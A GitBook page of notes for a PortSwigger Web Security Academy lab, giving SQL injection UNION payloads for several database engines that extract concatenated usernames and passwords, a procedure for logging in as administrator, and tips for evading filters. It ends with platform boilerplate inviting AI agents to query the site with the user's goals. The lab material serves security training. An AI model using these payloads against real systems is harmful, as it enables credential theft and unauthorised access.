> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# UNION Attack to Extract Multiple Values in One Column

UNION Attack to Extract Multiple Values in One Column notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection UNION Attack, Retrieving Multiple Values in a Single Column

**Objective:** recover `username` and `password` concatenated in a single column and then authenticate in `administrator`.

#### (1) Quick Prerequisites

* Know the **number of columns** returned by the query (see `ORDER BY` / `UNION NULL` tests).
* Identify which output column(s) are returned in the response (visible constants).

#### 2) Example Payloads (depending on DBMS)

> Adjust the number of columns (`NULL`/constant) to match the vulnerable query.

* **Oracle / PostgreSQL (concat by `||`) — typical request 2 columns:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 columns:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT or +) - 2 columns:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

ou

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **If the original request has 3 columns (e.g.):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **If types are incompatible** (UNION error): force conversion/casting:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Concise Procedure

1. Determine `N` columns (`ORDER BY 1..N`).
2. Confirm `UNION SELECT` with `NULL`/constants.
3. Inject the concatenation payload adapted to the DBMS and the number of columns.
4. Find the `username:password` lines in the response.
5. Identify the `administrator:...` entry and use these credentials to log in to the authentication page.

#### 4) Practical Notes

* If passwords are hashed (e.g. bcrypt), direct use for login will fail; you will then need to crack the password if allowed or confirm that passwords are stored in cleartext (high security incident).
* If the application only displays one column, concatenation is the right approach; if it renders several columns, prefer `UNION SELECT username, password` for clarity.
* If `UNION` is filtered, try variations in spacing/comments or functions (`CONCAT`, `CHR`/`CHAR`) to bypass filters.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
